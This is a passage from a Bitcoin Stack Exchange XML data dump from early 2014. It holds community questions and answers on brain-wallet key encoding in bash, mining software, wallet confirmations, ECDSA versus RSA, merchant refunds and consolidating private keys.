&quot;${stage24}${stage57}&quot;)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bingo!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;According to Wiki: en.bitcoin.it/wiki/Wallet_import_format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private Key before importing must be converted the similar way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;declare -a base58=(&#xA;      1 2 3 4 5 6 7 8 9&#xA;    A B C D E F G H   J K L M N   P Q R S T U V W X Y Z&#xA;    a b c d e f g h i j k   m n o p q r s t u v w x y z&#xA;)&#xA;&#xA;encodeBase58() {&#xA;    dc -e &quot;16i ${1^^} [3A ~r d0&amp;lt;x]dsxx +f&quot; |&#xA;    while read -r n; do echo -n &quot;${base58[n]}&quot;; done&#xA;}&#xA;&#xA;stage12=&quot;$(echo -n &quot;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&quot; | sed -e 's/^/80/')&quot;&#xA;stage35=&quot;$(echo $stage12 | xxd -r -p | sha256sum | awk '{print $1}' | xxd -r -p | sha256sum | awk '{print $1}'  | cut -b 1,2,3,4,5,6,7,8)&quot;&#xA;&#xA;echo &quot;$(encodeBase58 &quot;${stage12}${stage35}&quot;)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I still have an question: How to make brain wallet like &quot;sausage&quot;?&lt;/p&gt;&#xA;" OwnerUserId="12645" LastEditorUserId="3364" LastEditDate="2014-06-28T15:35:52.993" LastActivityDate="2014-11-25T18:43:34.847" Title="Is there a way to generate a brain wallet from the command line or console?" Tags="|address-generation|brain-wallet|" AnswerCount="1" CommentCount="4" CommunityOwnedDate="2014-01-28T06:22:17.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="21260" PostTypeId="2" ParentId="11197" CreationDate="2014-01-28T03:18:10.730" Score="1" Body="&lt;p&gt;If you using a Nvidia card you should use cudaMiner since you will get better hash rates for it. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=167229.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=167229.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12648" LastActivityDate="2014-01-28T03:18:10.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21261" PostTypeId="2" ParentId="13840" CreationDate="2014-01-28T03:53:51.597" Score="-2" Body="&lt;p&gt;If You are a beginner just starting you should probably go for GUIMINER or CGminer if you are planning on mining on your GPU if you are planning on mining on CPU you should probably go with pooler-cpuminer. BFGminer is meant for ASIC like USB Block erupters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I HIGHLY ADVISE YOU &lt;strong&gt;AGAINST&lt;/strong&gt; MINING ON YOUR LAPTOP AS THEY HAVE VERY BAD COOLING AND YOU CAN BURN YOUR MOTHERBOARD AND DESTROY IT IN MINUTES. &lt;/p&gt;&#xA;" OwnerUserId="12795" LastActivityDate="2014-01-28T03:53:51.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21262" PostTypeId="1" AcceptedAnswerId="21263" CreationDate="2014-01-28T04:50:10.337" Score="0" ViewCount="1334" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gqDWS.png&quot; alt=&quot;Bitcoin wallet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my BTC wallet page. Is it normal that I have 0.00 ?&lt;/p&gt;&#xA;" OwnerUserId="12797" LastActivityDate="2014-01-28T13:10:42.087" Title="Why does my wallet say that I have 0.00BTC and 8.91 unconfirmed, when I had done nothing with them?" Tags="|wallet|bitcoin-core|client|hacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21263" PostTypeId="2" ParentId="21262" CreationDate="2014-01-28T05:46:28.147" Score="5" Body="&lt;p&gt;Once your client finishes downloading the block chain then everything should show as confirmed.&lt;/p&gt;&#xA;" OwnerUserId="11524" LastActivityDate="2014-01-28T05:46:28.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21265" PostTypeId="2" ParentId="19395" CreationDate="2014-01-28T07:23:52.450" Score="1" Body="&lt;p&gt;You are not missing any steps (except enabling email backups, see below).  The private key in the old wallet stays with the old wallet, even if the old address has a zero balance (0.0 BTC).  Every public key has a paired private key that cannot be used with any other key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to make sure that your blockchain.info wallet has email (or Dropbox) backups enabled.  Then every time your blockchain.info wallet has a transaction, an encrypted backup of your wallet will be sent to your email address (a nice feature).  You only need your wallet password to import &amp;amp; restore an encrypted backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like blockchain.info's wallet system.  Though if I had a lot of BTC I would keep most of it on paper wallets so online attackers (eg. keylogging malware) couldn't reach it.&lt;/p&gt;&#xA;" OwnerUserId="12489" LastActivityDate="2014-01-28T07:23:52.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21266" PostTypeId="1" CreationDate="2014-01-28T09:34:49.403" Score="2" ViewCount="465" Body="&lt;p&gt;As of today, Russia added itself to a list of countries that &lt;a href=&quot;http://www.bloomberg.com/news/2014-01-27/russia-backs-bitcoin-curbs-as-central-bank-snubs-sberbank-plan.html&quot; rel=&quot;nofollow&quot;&gt;ban bitcoin&lt;/a&gt; operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a future for bitcoin (and other cryptos) if more countries are going to ban them? &lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2014-01-28T09:55:56.417" Title="What future can bitcoin have if more and more countries will ban it?" Tags="|currencies|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21267" PostTypeId="2" ParentId="21266" CreationDate="2014-01-28T09:55:56.417" Score="3" Body="&lt;p&gt;Let's imagine a worst case scenario where bitcoin becomes illegal in all countries. If you put a bitcoin address on your site, you'll get shutdown. If you run a bar and you have the bitcoin logo saying that you accept bitcoin, you'll get fined. Online bitcoin exchanges will be made illegal everywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if all this happens, bitcoin as a technology cannot be uninvented. All of this banning will just slow down the adoption. You'll eventually see it uprise again and being used in closed communities worldwide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;People will find other ways of converting fiat currency into bitcoin using decentralized exchanges that go through anonymized tor networks. Local bars and shops will adopt systems where you'll be able to pay your coffee, wirelessly, anonymously, through a hardware bitcoin wallet, without even having to scan a QR code. Paying with bitcoin will become untraceable, ubiquitous and unstoppable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's simply a better technology than the current monetary system, and in my opinion history has shown that better technology cannot be stopped no matter the regulations or the policies against its adoption.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-28T09:55:56.417" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21268" PostTypeId="2" ParentId="21256" CreationDate="2014-01-28T11:52:22.600" Score="7" Body="&lt;p&gt;The victim could send any &quot;shady&quot; or unauthorized donation back to the originating address, and the refund would be just as public as the initial donation.&#xA;The process could also be automated with a custom wallet software, so that, for example, all donations above a certain amount which are not explicitly approved are automatically refunded after x days.&lt;/p&gt;&#xA;" OwnerUserId="12804" LastActivityDate="2014-01-28T11:52:22.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21269" PostTypeId="2" ParentId="11839" CreationDate="2014-01-28T12:10:55.240" Score="0" Body="&lt;p&gt;Based on the links in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/11852/1137&quot;&gt;spuder's rather brief answer&lt;/a&gt; and also taking care of a rare restriction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Private key bitcoin wiki entry&lt;/a&gt; states,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;any 256-bit number between 0x1 and 0xFFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFE BAAE DCE6 AF48 A03B BFD2 5E8C D036 4141 is a valid private key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Therefore, in order to have the bitcoin network timestamp a message, one can proceed like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a 256 bit hash, usually SHA-256, as a private key⁺ that one imports into one's bitcoin wallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transfers a small amount of bitcoins to the corresponding address and swiftly afterwards back to your own account. Since this is a fresh bitcoin address, you might have to pay a fee for this transfer unless you can afford to wait for some time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the transaction back to your own account has been confirmed, publish your message and one of the two transaction ids. Everyone can now easily verify that your message's hash yields a bitcoin address that was used at the time you claim to have published your message. Be aware that since anyone with access to your message can therefore simply reconstruct also the &lt;em&gt;private&lt;/em&gt; key, so be sure to have no funds left there!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In fact, that caveat of having to wait until you transferred the funds back to an account the private key of which is secret can be easily circumvented: Instead of a simple transaction, transfer funds to a &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#Multisignature_transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;2-of-2 multisignature transaction&lt;/a&gt; that needs to be signed both by the hash &quot;private&quot; key and one of your truly secret private keys. Now you can leave the funds on that transaction until you want to spend the bitcoins for another purpose without having to fear someone else can spend it. However, keep in mind that currently no client seems to have any intuitive way of creating or spending multisignature transactions!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;⁺ In the &lt;em&gt;very rare&lt;/em&gt; case that hash is outside the permitted range (less than 2¹²⁸ of the 2²⁵⁶ possible values), one additionally has to do something, e.g. wrapping into the valid range via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;min_val = 1&#xA;max_val = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141&#xA;priv_key = ((sha256(message) - min_val) % (max_val - min_val)) + min_val&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-28T12:10:55.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21270" PostTypeId="1" AcceptedAnswerId="21271" CreationDate="2014-01-28T12:19:21.320" Score="9" ViewCount="6524" Body="&lt;p&gt;One major drawback of (EC)DSA is that it requires a good RNG, otherwise &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12837/1137&quot;&gt;the private key may be accidentally exposed&lt;/a&gt;. This is also one of the major reasons (I found so far) why no(?) smartcard supports any kind of DSA. In contrast to that, RSA, while usually being used for encryption, can also be used for digital signatures and behaves deterministic, i.e. signing the same message again will yield the same signature everytime. Lacking the requirement of a RNG (other than in key &lt;em&gt;generation&lt;/em&gt;) this is why RSA is available on many smartcards, which would make bitcoin much safer without requiring a rather complicated offline-wallet setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does ECDSA provide anything bitcoin absolutely needs that RSA cannot achieve? Or is it merely bad luck in Satoshi's choice?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2017-12-07T19:58:25.243" Title="What's the rationale of using ECDSA instead of RSA?" Tags="|signature|ecdsa|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21271" PostTypeId="2" ParentId="21270" CreationDate="2014-01-28T12:43:30.070" Score="12" Body="&lt;p&gt;I'm not sure why you think RSA is &lt;em&gt;much safer&lt;/em&gt; than ECDSA. As you can read here: &lt;a href=&quot;https://crypto.stackexchange.com/questions/3216/signatures-rsa-compared-to-ecdsa&quot;&gt;https://crypto.stackexchange.com/questions/3216/signatures-rsa-compared-to-ecdsa&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECDSA offers same levels of security as RSA, but with a much smaller footprint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the more you increase the security, the larger the RSA keys become compared to ECDSA.  This makes RSA less fit for a system such as bitcoin which requires small packets to be sent around the network all the time (being peer-to-peer).&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2014-01-28T12:43:30.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21272" PostTypeId="2" ParentId="21262" CreationDate="2014-01-28T13:10:42.087" Score="-1" Body="&lt;p&gt;When you first received some coins, especially if they were mined rather than transfered, you cannot go and immediately spend them - for security reasons, you're foced to wait for a number of blocks. Once your coins have appeared in all those blocks then you can indeed go and spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. for Primecoin, should you receive some coins you just mined, you have to wait for 2 days before spending them. If they were transferred to you by someone else, you just have to wait for 3 mins (3 blocks). Likewise with other coins.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-28T13:10:42.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21273" PostTypeId="2" ParentId="20443" CreationDate="2014-01-28T13:56:49.370" Score="1" Body="&lt;p&gt;The easyest way for you would be somthing like &lt;a href=&quot;https://localbitcoins.com/country/BD&quot; rel=&quot;nofollow&quot;&gt;localbitcoins&lt;/a&gt;. But you can use any exchange where you can transfer money to from your bank (Bitstamp, Justcoin, Bitcurex, ...)&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-28T13:56:49.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21274" PostTypeId="2" ParentId="21242" CreationDate="2014-01-28T14:08:34.880" Score="1" Body="&lt;p&gt;It's possible that your pool is doing something &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool#Frequently_Asked_Questions&quot; rel=&quot;nofollow&quot;&gt;similar to P2Pool&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; Why does my miner say it has found a lot of shares but p2pool say I&#xA;  have only found a few?!&lt;br&gt;&#xA;  &lt;strong&gt;A:&lt;/strong&gt; The real P2Pool difficulty is hundreds of&#xA;  times higher than on normal pools, but p2pool essentially lies to your&#xA;  miner and tells it to work on relatively easy shares so that it&#xA;  submits shares every few seconds instead of every few hours. P2Pool&#xA;  then ignores any submitted shares that don't match the real share&#xA;  difficulty. By doing this, P2Pool can more accurately report your&#xA;  local hash rate and you can see if you are having problems with too&#xA;  many stale shares quickly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-01-28T14:08:34.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21275" PostTypeId="1" AcceptedAnswerId="21280" CreationDate="2014-01-28T15:18:32.827" Score="3" ViewCount="1662" Body="&lt;p&gt;I work for an online retailer, and we're currently testing a Coinbase payment implementation for our checkout. One of our big concerns is being able to send a refund in the event that we're unable to ship an item on time, or if a customer cancels an order, or for whatever other reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few things that I've managed to find out, but I'm still confused.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coinbase's API (relevant docs &lt;a href=&quot;https://coinbase.com/api/doc/1.0/orders/show.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://coinbase.com/api/doc/1.0/transactions/show.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) doesn't seem to have a way for us to find the address of the wallet or account that the payment for an order was sent from.&lt;/li&gt;&#xA;&lt;li&gt;Even if it did have a &quot;Sender Address&quot; response, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/750/can-a-bitcoin-transaction-be-reversed-from-the-receiving-end&quot;&gt;this question/answer&lt;/a&gt; makes it pretty clear that using that would probably not be a good idea.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So what options do we have for issuing a refund? I can think of at least a few... each has its own downsides though.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If an order can't be delivered on time, contact them and ask for an address to send BTC to. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We &lt;em&gt;do&lt;/em&gt; get contact information (Phone, Email, and Address) when they check out - but we can't perfectly verify it.&lt;/li&gt;&#xA;&lt;li&gt;We may be stuck in limbo if we can't get in touch with the customer.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At checkout, ask for an address to send any refunds to with a &quot;just in case&quot; note explaining why we're asking for that.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As far as I know, nobody does this.&lt;/li&gt;&#xA;&lt;li&gt;Some users may have privacy concerns when they see us asking for a wallet address.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mail a check for dollar value of the transaction to the address provided at checkout.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Again, we do get a customer's address - but we can't verify it to be 100% accurate.&lt;/li&gt;&#xA;&lt;li&gt;Let's be honest, this really doesn't seem like a good idea at all.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are there better ways? Is there, universe willing, a &lt;em&gt;standard&lt;/em&gt; way of refunding transactions?&lt;/p&gt;&#xA;" OwnerUserId="12269" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-02-21T16:51:01.650" Title="Is there a standard procedure for refunding Bitcoin transactions?" Tags="|transactions|coinbase.com|revert-transaction|retail|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21276" PostTypeId="2" ParentId="21247" CreationDate="2014-01-28T15:21:50.433" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If no one controls this then how can you be sure it is stable?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a bigger discussion around this point - it implies a that a currency controlled by a government is stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stability is not determined by a government, no matter what you may believe. The value of the Euro or the Pound or any other currency is determined by the general consensus in the market that the currency has a certain value. When markets turn against a currency it can be a problem. Note for example how the US dollar collapsed to half its value against the Euro couple of years ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the same for Bitcoin, except that what you need to consider is that Bitcoin is still very new and early valuations of new technologies are naturally unstable because markets do not know them very well and can get spooked easily - hence the volatility. This will become less and less as time goes on.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How is it regulated and most importantly how is it valued?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The system is self regulating, but it depends on what you mean by regulation. Regulation is not always necessary for successful technologies. Is facebook regulated? Is amazon? Both have issued their own form of currency, and nobody talks about regulating them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What sort of legal framework do you think is suitable to &quot;regulate&quot; bitcoin? Even the regulators in most countries are issuing notices stating that they do not have the authority to regulate Bitcoin. Note they are not banning Bitcoin. This means exactly what it says, and doesn't say. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm having a hard time grasping the idea of not being centralized and&#xA;  regulated somehow… can someone game the system… blah blah blah etc!?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not surprised you are having a hard time. You probably do not know enough either about the Bitcoin protocol, the technology behind it, how markets work, how markets can be gamed (or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't answer a vague question on this but I suggest if you think of a specific situation where something might happen, post your question and someone will answer.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-28T15:21:50.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21277" PostTypeId="2" ParentId="21241" CreationDate="2014-01-28T15:27:42.667" Score="0" Body="&lt;p&gt;This is not the BTC-e help desk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For information their exchange is incredibly unresponsive to help requests, and if you are a new customer or if you transfer any money in to the exchange you have to jump through hoops to withdraw.... or wait the customary 30+ days until your account becomes responsive again.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-28T15:27:42.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21279" PostTypeId="2" ParentId="21203" CreationDate="2014-01-28T15:31:40.687" Score="0" Body="&lt;p&gt;Orders do not have to match your exact price it depends on what is happening: if for example a buy order is placed by a buyer that is a higher price than your sell order, and the buy order is sufficiently large to be fulfilled by you sell order and any others below or above you - then all the orders get fulfilled, until the buyers buy order gets used up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a particular strategy of BTC-e; other markets may operate differently.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-01-28T15:31:40.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21280" PostTypeId="2" ParentId="21275" CreationDate="2014-01-28T15:31:44.787" Score="2" Body="&lt;p&gt;As of right now, there is not a standard way to return other than to &lt;strong&gt;ask the returnee for an address to which the returner can send&lt;/strong&gt;. You could ask for them to verify the address by signing some text with its private key, however, users of web wallets are at a disadvantage because not all wallets provide this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is too onerous to ask for a return address at the time of sale, because a conscientious user would have to create a new address for each sale's return address. Managing these would grow difficult over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issuing store credit with the option to cash it out via a variety of methods&lt;/strong&gt; is probably worth consideration, as it prioritizes consumer choice. If I'm ordering from a company from which I order frequently (e.g. Amazon) or I know that I'm going to reorder later, I'll take the store credit and save the management time. Otherwise, I'll cash out the bitcoin and find another vendor who can meet my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 21 Feb 2014:&lt;/strong&gt; Bitpay announced today that &lt;a href=&quot;http://blog.bitpay.com/2014/02/20/bitpay-launches-payment-protocol-support.html&quot; rel=&quot;nofollow&quot;&gt;Bitpay is now supporting BIP70-73 payment protocol&lt;/a&gt;, which includes refund addresses.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2014-02-21T16:51:01.650" LastActivityDate="2014-02-21T16:51:01.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21281" PostTypeId="2" ParentId="21241" CreationDate="2014-01-28T15:39:37.267" Score="1" Body="&lt;p&gt;I use them for my primary exchange. You can sell BTC/LTC/etc. for USD and hold the USD in your account without verification. As far as I can tell, there is no verification process nor a way to withdraw USD other than as a BTC-E credit. In my experience, you're better off finding a &lt;em&gt;reliable&lt;/em&gt; third party that specializes in buying BTC when you are ready to cash out.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-01-28T15:39:37.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21282" PostTypeId="2" ParentId="20789" CreationDate="2014-01-28T15:50:25.043" Score="1" Body="&lt;p&gt;Have a look here: &lt;a href=&quot;http://www.youtube.com/watch?v=mAW-kuoZaHU&quot; rel=&quot;nofollow&quot;&gt;www.youtube.com/watch?v=mAW-kuoZaHU&lt;/a&gt; and you'll probably understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You download the blockchain with Bitcoin-QT and run my Mastercoins wallet through it.You label the addresses in your QT wallet and you can now send BTC and MSC to these addresses.&lt;/p&gt;&#xA;" OwnerUserId="12758" LastEditorUserId="12758" LastEditDate="2014-02-03T23:08:52.837" LastActivityDate="2014-02-03T23:08:52.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21284" PostTypeId="1" CreationDate="2014-01-28T16:54:52.183" Score="3" ViewCount="532" Body="&lt;p&gt;I know the maximum transaction size is 500Kb. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know there is a maximum for sigop in a transaction (20,000?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm interested in is what is the maximum number of txouts you could include in a single transaction.&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-06-27T22:19:44.757" Title="What the maximum number of txout in a transaction?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21285" PostTypeId="2" ParentId="21284" CreationDate="2014-01-28T17:06:22.563" Score="3" Body="&lt;p&gt;There is no practical maximum number of outputs in a transaction. The number of transactions can be up to 2&lt;sup&gt;64&lt;/sup&gt;-1, or 18446744073709551615. The transaction fee would be more than the total bitcoins to ever exist.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-28T17:06:22.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21286" PostTypeId="1" AcceptedAnswerId="21300" CreationDate="2014-01-28T17:13:03.747" Score="1" ViewCount="2829" Body="&lt;p&gt;I'm using the latest version of cpuminer on a quad core cpu. How can I tell it which physical cores to use, 2 threads uses 1 and 2 but I want it to use 3 and 4 instead as I have other things using core 1 and 2 which are not optimised for more than 1 cpu core.&lt;/p&gt;&#xA;" OwnerUserId="12813" LastActivityDate="2014-01-29T01:08:08.877" Title="Specify which CPU threads are used using cpuminer" Tags="|cpu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21288" PostTypeId="1" AcceptedAnswerId="21289" CreationDate="2014-01-28T18:02:27.643" Score="0" ViewCount="183" Body="&lt;p&gt;I suppose it's advisable to use a new key frequently for bitcoin receive address for anonymity. If each received amount goes to a new key, will my wallet size become unmanageable if I receive a number of small amounts per month ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how can I consolidate all the coins split across 100s of keys in case my wallet is compromised and move it to a new wallet? &lt;/p&gt;&#xA;" OwnerUserId="12440" LastEditorUserId="12440" LastEditDate="2014-01-28T18:18:26.137" LastActivityDate="2014-01-28T18:20:03.600" Title="How is the wallet balance split across keys?" Tags="|transactions|wallet|client|private-key|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21289" PostTypeId="2" ParentId="21288" CreationDate="2014-01-28T18:20:03.600" Score="1" Body="&lt;p&gt;It is foreseeable that the number of private keys that you must maintain may grow  to an unmaintainable level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common sense way to consolidate is to send your balance to a single address. This, however, effectively announces that all of those previously created addresses are linked to the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really must maintain anonymity, then you could send the balance to a tumbler, and have that tumbler output different amounts to several different addresses you control. This, however, does have a cost, because tumblers are not free. Another alternative to a tumbler service is to send your balance to a web wallet that pools all bitcoin together (ledgering internally) and manually send different amounts to separate, new address. However, any time a balance exceeds one of those addresses' balances, it's likely that more than one will be used for the transaction, thereby linking them.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2014-01-28T18:20:03.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21292" PostTypeId="1" AcceptedAnswerId="21307" CreationDate="2014-01-28T19:32:45.087" Score="2" ViewCount="901" Body="&lt;p&gt;Just wondering how do get the address given that we store only a public key? What is the relation between them? Is address a simple hash of private key? If yes, what hashing algorithm is used?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-29T00:07:48.097" Title="What is the relation between the bitcoin address and the corresponding private key?" Tags="|address|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-09T01:40:24.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="21293" PostTypeId="1" CreationDate="2014-01-28T20:05:20.483" Score="3" ViewCount="4252" Body="&lt;p&gt;I often read about latency and ping.&#xA;I am programmer and I understand what latency and ping is.&#xA;But I do not understand why miner can't process block with certain delay. &#xA;Why do 10ms or 100ms matter?&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="5406" LastEditDate="2016-04-25T20:43:27.817" LastActivityDate="2016-04-25T20:43:27.817" Title="Why does pool latency matter?" Tags="|mining-pools|mining-profitability|latency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
